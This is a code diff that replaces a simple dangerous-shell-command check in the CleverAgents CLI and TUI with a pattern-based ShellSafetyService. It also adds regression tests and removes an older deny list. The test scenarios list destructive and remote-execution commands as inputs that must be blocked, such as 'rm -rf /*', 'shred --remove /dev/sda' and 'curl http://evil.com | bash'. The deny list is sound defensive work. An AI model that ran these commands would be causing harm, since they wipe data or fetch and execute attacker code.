diff --git a/.forgejo/workflows/master.yml b/.forgejo/workflows/master.yml index bb14f9ee0..862103661 100644 --- a/.forgejo/workflows/master.yml +++ b/.forgejo/workflows/master.yml @@ -3,8 +3,6 @@ name: CI on: push: branches: [master, develop] - pull_request: - branches: [master, develop] vars: docker_prefix: "http://harbor.cleverthis.com/docker/" diff --git a/features/steps/tui_input_modes_steps.py b/features/steps/tui_input_modes_steps.py index 3477e5cc8..3a169a51c 100644 --- a/features/steps/tui_input_modes_steps.py +++ b/features/steps/tui_input_modes_steps.py @@ -15,7 +15,7 @@ from cleveragents.tui import app as tui_app_module from cleveragents.tui.input import reference_parser from cleveragents.tui.input.modes import InputModeRouter from cleveragents.tui.input.reference_parser import parse_references, suggestions -from cleveragents.tui.input.shell_exec import looks_dangerous +from cleveragents.tui.shell_safety import ShellSafetyService @when('I parse TUI references for "{line}"') @@ -60,7 +60,10 @@ def step_shell_stderr(context: Context, value: str) -> None: @when('I check shell danger detection for "{command}"') def step_check_shell_danger(context: Context, command: str) -> None: - context.shell_danger_result = looks_dangerous(command) + # ShellSafetyService replaces the legacy looks_dangerous() function. + # is_safe() returns True for safe commands, False for dangerous ones. + # We invert to match the original looks_dangerous() boolean convention. + context.shell_danger_result = not ShellSafetyService().is_safe(command) @then('shell danger detection result should be "{value}"') diff --git a/features/steps/tui_shell_exec_coverage_steps.py b/features/steps/tui_shell_exec_coverage_steps.py index 24376af07..021a84b66 100644 --- a/features/steps/tui_shell_exec_coverage_steps.py +++ b/features/steps/tui_shell_exec_coverage_steps.py @@ -1,10 +1,12 @@ """Step definitions for tui_shell_exec_coverage.feature. -These steps target specific uncovered lines in tui/input/shell_exec.py: -- Lines 48-49: empty command returns ShellResult with exit_code=2 -- Lines 52-56: CLEVERAGENTS_DISABLE_SHELL_MODE env var disables shell mode -- Line 61: confirm_dangerous callback is invoked for dangerous commands -- Lines 77-82: subprocess.TimeoutExpired is caught and returns exit_code=124 +These steps target specific code paths in tui/input/shell_exec.py: +- Empty command returns ShellResult with exit_code=2 +- CLEVERAGENTS_DISABLE_SHELL_MODE env var disables shell mode +- confirm_dangerous callback is invoked for dangerous commands +- subprocess.TimeoutExpired is caught and returns exit_code=124 +- ShellSafetyService (12-pattern registry) is used for danger detection + (regression tests for issue #4736) """ import os @@ -13,9 +15,9 @@ from unittest.mock import patch from behave import given, then, when +import cleveragents.tui.input.shell_exec as shell_exec_module from cleveragents.tui.input.shell_exec import ( ShellResult, - looks_dangerous, run_shell_command, ) @@ -28,11 +30,10 @@ def step_shell_exec_imported(context): """Verify the module is importable and key symbols exist.""" assert run_shell_command is not None assert ShellResult is not None - assert looks_dangerous is not None # --------------------------------------------------------------------------- -# Empty / whitespace command (lines 48-49) +# Empty / whitespace command # --------------------------------------------------------------------------- @when("I run a shell command with an empty string") def step_run_empty_command(context): @@ -47,7 +48,7 @@ def step_run_whitespace_command(context, whitespace): # --------------------------------------------------------------------------- -# Shell mode disabled via env var (lines 52-56) +# Shell mode disabled via env var # --------------------------------------------------------------------------- @given('the environment variable CLEVERAGENTS_DISABLE_SHELL_MODE is set to "{value}"') def step_set_disable_env_var(context, value): @@ -70,8 +71,14 @@ def step_run_shell_command(context, command): context.shell_result = run_shell_command(command) +@when('I run a shell command "{command}" without a callback') +def step_run_shell_command_no_callback(context, command): + """Run run_shell_command with no confirm_dangerous callback.""" + context.shell_result = run_shell_command(command) + + # --------------------------------------------------------------------------- -# Dangerous command with confirm callback (line 61) +# Dangerous command with confirm callback # --------------------------------------------------------------------------- @given("a confirm_dangerous callback that returns True") def step_confirm_callback_true(context): @@ -129,7 +136,7 @@ def step_verify_executed_result(context): # --------------------------------------------------------------------------- -# Timeout (lines 77-82) +# Timeout # --------------------------------------------------------------------------- @given("subprocess run is mocked to raise TimeoutExpired") def step_mock_timeout(context): @@ -147,6 +154,18 @@ def step_run_with_timeout(context, command, seconds): context.shell_result = run_shell_command(command, timeout_seconds=seconds) +# --------------------------------------------------------------------------- +# TDD regression: looks_dangerous removed (issue #4736) +# --------------------------------------------------------------------------- +@then("the shell_exec module should not export looks_dangerous") +def step_looks_dangerous_not_exported(context): + """Verify that looks_dangerous is no longer part of the shell_exec module.""" + assert not hasattr(shell_exec_module, "looks_dangerous"), ( + "looks_dangerous should have been removed from shell_exec module " + "(issue #4736: ShellSafetyService must be used instead)" + ) + + # --------------------------------------------------------------------------- # Common assertions # --------------------------------------------------------------------------- diff --git a/features/tui_shell_exec_coverage.feature b/features/tui_shell_exec_coverage.feature index 20455dda1..fc6b532a6 100644 --- a/features/tui_shell_exec_coverage.feature +++ b/features/tui_shell_exec_coverage.feature @@ -1,6 +1,6 @@ Feature: TUI Shell Exec Coverage Scenarios that exercise previously uncovered code paths - in the tui/input/shell_exec module (lines 48-49, 52-56, 61, 77-82). + in the tui/input/shell_exec module. Background: Given the shell_exec module is imported @@ -45,3 +45,53 @@ Feature: TUI Shell Exec Coverage When I run a shell command "sleep 999" with a 1 second timeout Then the shell result exit code should be 124 And the shell result stderr should contain "command timed out after" + + # ── TDD regression tests for issue #4736 ──────────────────────────────── + # These scenarios verify that ShellSafetyService (12-pattern registry) is + # used instead of the legacy looks_dangerous() function. + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects rm -rf wildcard not caught by legacy function + When I run a shell command "rm -rf /*" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects rm -rf home directory not caught by legacy function + When I run a shell command "rm -rf ~/" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects shred --remove not caught by legacy function + When I run a shell command "shred --remove /dev/sda" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects chmod 777 not caught by legacy function + When I run a shell command "chmod 777 /etc" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects sudo rm not caught by legacy function + When I run a shell command "sudo rm -rf /tmp" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects wget pipe to sh not caught by legacy function + When I run a shell command "wget http://evil.com/x | sh" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: ShellSafetyService detects curl pipe to bash not caught by legacy function + When I run a shell command "curl http://evil.com | bash" without a callback + Then the shell result exit code should be 1 + And the shell result stderr should be "blocked dangerous shell command" + + @tdd_issue @tdd_issue_4736 + Scenario: looks_dangerous function is no longer exported from shell_exec module + Then the shell_exec module should not export looks_dangerous diff --git a/src/cleveragents/cli/commands/repl.py b/src/cleveragents/cli/commands/repl.py index c2c321574..0b90df964 100644 --- a/src/cleveragents/cli/commands/repl.py +++ b/src/cleveragents/cli/commands/repl.py @@ -24,7 +24,7 @@ import yaml from rich.console import Console from cleveragents.cli.persona import PersonaConfig, PersonaRegistry -from cleveragents.tui.input.shell_exec import looks_dangerous +from cleveragents.tui.shell_safety import DangerousCommandWarning, ShellSafetyService # --------------------------------------------------------------------------- # Constants @@ -388,11 +388,14 @@ def _run_shell_command(command_text: str) -> int: if os.environ.get("CLEVERAGENTS_DISABLE_SHELL_MODE", "").strip() in {"1", "true"}: _console.print("[yellow]Shell mode is disabled by configuration.[/yellow]") return 2 - if looks_dangerous(command_text): + def _warn_callback(warning: DangerousCommandWarning) -> bool: answer = input("Dangerous command detected. Continue? [y/N]: ").strip().lower() - if answer not in {"y", "yes"}: - _console.print("[yellow]Blocked dangerous shell command.[/yellow]") - return 1 + return answer in {"y", "yes"} + + safety_service = ShellSafetyService(warn_callback=_warn_callback) + if not safety_service.is_safe(command_text): + _console.print("[yellow]Blocked dangerous shell command.[/yellow]") + return 1 try: proc = subprocess.run( command_text, diff --git a/src/cleveragents/tui/input/shell_exec.py b/src/cleveragents/tui/input/shell_exec.py index 015214695..2c664f83b 100644 --- a/src/cleveragents/tui/input/shell_exec.py +++ b/src/cleveragents/tui/input/shell_exec.py @@ -7,6 +7,8 @@ import subprocess from collections.abc import Callable from dataclasses import dataclass +from cleveragents.tui.shell_safety import DangerousCommandWarning, ShellSafetyService + @dataclass(slots=True, frozen=True) class ShellResult: @@ -18,17 +20,15 @@ class ShellResult: stderr: str -def looks_dangerous(command: str) -> bool: - """Best-effort dangerous command detector.""" - lowered = command.strip().lower() - patterns = ( - "rm -rf /", - "git push --force", - "mkfs.", - "dd if=", - ":(){:|:&};:", - ) - return any(pattern in lowered for pattern in patterns) +def _make_warn_callback( + confirm_dangerous: Callable[[str], bool], +) -> Callable[[DangerousCommandWarning], bool]: + """Wrap a command-string callback into a DangerousCommandWarning callback.""" + + def _callback(warning: DangerousCommandWarning) -> bool: + return confirm_dangerous(warning.command) + + return _callback def run_shell_command( @@ -43,6 +43,13 @@ def run_shell_command( - Shell mode is a convenience feature for local development, not a sandbox. - We block obviously dangerous command patterns unless explicitly confirmed. - We apply a timeout to avoid hanging the UI event loop indefinitely. + + Danger detection is delegated to + :class:`~cleveragents.tui.shell_safety.ShellSafetyService`, which uses a + 12-pattern registry with four severity levels (CRITICAL, HIGH, MEDIUM, LOW). + Commands at or above MEDIUM are blocked by default. When *confirm_dangerous* + is provided it is invoked with the command string; returning ``True`` allows + execution, ``False`` blocks it. """ if not command.strip(): return ShellResult( @@ -55,17 +62,23 @@ def run_shell_command( stdout="", stderr="shell mode is disabled", ) - if looks_dangerous(command): - confirmed = False - if confirm_dangerous is not None: - confirmed = confirm_dangerous(command) - if not confirmed: - return ShellResult( - command=command, - exit_code=1, - stdout="", - stderr="blocked dangerous shell command", - ) + + warn_callback: Callable[[DangerousCommandWarning], bool] | None = ( + _make_warn_callback(confirm_dangerous) + if confirm_dangerous is not None + else None + ) + + safety_service = ShellSafetyService(warn_callback=warn_callback) + safety_result = safety_service.check_command(command) + + if not safety_result.allowed: + return ShellResult( + command=command, + exit_code=1, + stdout="", + stderr="blocked dangerous shell command", + ) try: proc = subprocess.run( command,